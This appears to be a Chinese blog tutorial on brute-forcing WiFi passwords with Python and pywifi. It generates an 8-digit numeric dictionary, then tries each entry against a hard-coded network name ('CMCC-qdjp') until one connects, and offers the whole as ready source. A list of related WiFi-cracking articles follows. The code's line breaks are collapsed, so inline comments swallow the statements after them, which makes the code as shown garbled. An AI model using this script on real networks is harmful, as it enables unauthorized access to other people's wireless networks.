python下的WIFI密码爆破,本文采用的字典方式,也是目前主流的方式之一,理论上只要你的字典够强,破解只是时间问题。这里除介绍密码尝试,关键的字典生成也是本文介绍的重点。

pywifi安装

pywifi提供了一个跨平台的Python模块,用于操作无线接口,支持Windows和Linux。
安装建议采用 pip install pywifi 方式

字典生成

import itertools as its
import datetime# 记录程序运行时间
start = datetime.datetime.now()
words = '1234567890'  # 这里可以加入字母和其他字符,使用string包更方便
# 生成密码的位数
r = its.product(words, repeat=8)  # 4即生成4位密码,正常情况下热点密码位数为8
dic = open(r"password.txt", 'a')
for i in r:dic.write(''.join(i))dic.write(''.join('\n'))print(i)dic.close()
print('密码本生成好了')
end = datetime.datetime.now()
print("生成密码本一共用了多长时间:{}".format(end - start))

可以根据实际情况有针对性的调整字典,也可以使用我已生成的 常用密码本

读取密码本

def readPassword():# print("开始破解:")log.logger.info("开始破解:")# logger.info("开始破解:")# 密码本路径path = "./dict/test.txt"# 打开文件file = open(path, "r")while True:try:# 一行一行读取pad = file.readline()if (pad == ''):breakbool = wifiConnect(pad)if bool:# print("密码已破解: ", pad)# print("WiFi已自动连接!!!")log.logger.info("密码已破解: %s", pad)log.logger.info("WiFi已自动连接!!!")breakelse:# 跳出当前循环,进行下一次循环# print("密码破解中....密码校对: ", pad)log.logger.info("密码破解中....密码校对: %s 失败", pad)except:continue

验证连接是否成功

import pywifi
from pywifi import const
import time
import datetime
def wifiConnect(pwd):# 抓取网卡接口wifi = pywifi.PyWiFi()# 获取第一个无线网卡ifaces = wifi.interfaces()[0]# 断开所有连接ifaces.disconnect()time.sleep(1)wifistatus = ifaces.status()if wifistatus == const.IFACE_DISCONNECTED:# 创建WiFi连接文件profile = pywifi.Profile()# 要连接WiFi的名称profile.ssid = "CMCC-qdjp"# 网卡的开放状态profile.auth = const.AUTH_ALG_OPEN# wifi加密算法,一般wifi加密算法为wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)# 加密单元profile.cipher = const.CIPHER_TYPE_CCMP# 调用密码profile.key = pwd# 删除所有连接过的wifi文件ifaces.remove_all_network_profiles()# 设定新的连接文件tep_profile = ifaces.add_network_profile(profile)ifaces.connect(tep_profile)# wifi连接时间time.sleep(3)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falseelse:# print("已有wifi连接")log.logger.info("已有wifi连接")

运行

start = datetime.datetime.now()
readPassword()
end = datetime.datetime.now()
# print("破解WIFI密码一共用了多长时间:{}".format(end - start))
log.logger.info("破解WIFI密码一共用了多长时间:{}".format(end - start))

全部源码

Python3下的WIFI密码爆破相关推荐

  1. Kali 下wpa2安全 下的WiFi密码解

    Kali 下wpa2安全 下的WiFi密码解 这段时间沉迷与黑客技术无法自拔,当一名炫酷的黑客是每个男孩儿时的梦想,但是这条路也是艰辛的,孤独的,就看你有没有那个恒心一直走下去.现在网络很发达有很多的 ...

  2. 一个非常简单易懂的WIFI密码爆破python脚本

    为什么80%的码农都做不了架构师?>>>    环境准备 python2.7 凑合的linux 差不多的无线网卡 pywifi模块 弱口令字典 清除系统中的任何wifi连接记录(非常 ...

  3. 学习linux下破解wifi密码

    本文的最终目的是介绍相关网络安全知识, 提高大家的防范意识, 正所谓知己知彼百战不殆. 破解他人wifi的行为都是违法的, 与本文无关, 请知悉. 一. 软硬件环境 硬件: cubieboard2 系 ...

  4. 基于Linux上的wifi密码爆破

    首先先介绍一下工具:vm虚拟机,移动无线网卡,一个装有aircrack的linux(这里我用的是kali),靠谱的密码字典.Ps:如果不用虚拟机的话应该可以直接使用电脑内置无线网卡 第一步,查看网卡信 ...

  5. Windows下查看wifi密码的命令

    netsh wlan show profiles name='wifi名称' key=clear

  6. Win10下怎么查看WIFI密码

    在Win10下怎么查看WIFI密码呢,有以下两种方法,大家觉的哪个更方便就用哪个方法. 注:所能查看WIFI密码,必须之前已经连接上. 方法一:系统设置查看WiFi密码 首先,电脑需要先连接WiFi网 ...

  7. 自学python当黑客-用Python做黑客,暴力破解wifi密码

    前几篇文章主要介绍了使用delphi开发后门及简单的远控的知识,有小伙伴说delphi已经过时了没人用了,但是笔者觉得编程语言只是实现功能的一种方式,使用你熟悉或者喜欢的语言即可. 在最近的公司项目开 ...

  8. clion 查看内容窗口_苹果电脑(macOS)查看 WiFi 密码的两种方法

    WiFi 密码通常是第一次连接的时候输入一遍,之后当再次进入 WiFi 信号范围就会自动连接:在苹果的生态下,若果多个你有多个设备共用一个苹果 ID ,甚至只需要在其中一台设备上连接一次 WiFi , ...

  9. python查看手机上wifi密码_忘了wifi密码怎么办?用Python查!

    经常遇到这样一种情况:家里来了客人,问你要wifi密码. 尴尬的是,你忘了wifi密码. 不过你的其他设备已经连接过WiFi,这时候你怎么利用这些设备重新获取WiFi密码呢? 方式一:登录路由器管理页 ...

  10. linux连公共wifi怎么输密码,公共Wifi密码怎么用 公共Wifi密码使用方法

    最近小编在QQ空间看到了一篇转载比较疯狂的QQ空间日志,短短几行字的日志在几天内竟然被转载了40多万次,文中的内容主要是介绍一些移动与电信的公共Wifi密码,号称只要能搜索到移动或者电信的无线网络即可 ...

最新文章

  1. PyTorch一年增长194%,兼容性更强,超越TensorFlow指日可待
  2. CentOS-文件操作
  3. Delphi 关键字详解[整理于 橙子 的帖子]
  4. 《第二章:深入了解超文本》
  5. TensorFlow 加载多个模型的方法
  6. linux强实时,强实时性Linux内核的研究与设计
  7. linux shell 解析文本文件,linux Shell 全解析
  8. 编程之美-程序理解和时间分析
  9. C#网络编程----文件流
  10. 海康威视的视频web端(vue开发)的实时预览、录像回放和页面拖拽
  11. win7家庭普通版升级旗舰版 密钥
  12. 100道MySQL数据库经典面试题解析(有空必看)
  13. 销售宝:让客户无法拒绝的销售话术
  14. Freeswitch 默认配置
  15. 理性做产品:用数据+漏斗、地图和路径来指引
  16. 第二次作业——结对项目之需求分析与原型设计
  17. 【娱乐大闯关】C语言实现模拟ATM机管理系统
  18. 大学生bootstrap框架网页作业成品 web前端大作业期末源码 航海王html+jquery+bootstrap响应式网页制作模板 学生海贼王动漫bootstrap框架网站作品
  19. RGB565转RGB888
  20. 优雅地处理运行时权限请求

热门文章

  1. 关于python文件打开模式表示错误的是_python文件读取失败了该怎么处理 !
  2. python深度学习——案例讲解
  3. java 前端及后台轮询方法总结
  4. 团队软件库_R FMEA软件介绍
  5. 用Java代码敲出简易的王者荣耀单机版,让你秒懂王者荣耀的运行机制
  6. python函数手册 chm_Python中文文档
  7. java窗口按钮位置设置
  8. 用html布局象棋棋盘,5分钟掌握22种常见象棋布局,实例演示象棋布局大全、开局大全...
  9. 互联网晚报 | 9/28星期三 | 微信退群可选保留聊天记录 ;iPhone 14 Pro被吐槽信号差;​贾跃亭率获1亿美元融资...
  10. uefi linux开发环境,UEFI开发学习1 - Ubuntu下搭建UDK2018开发环境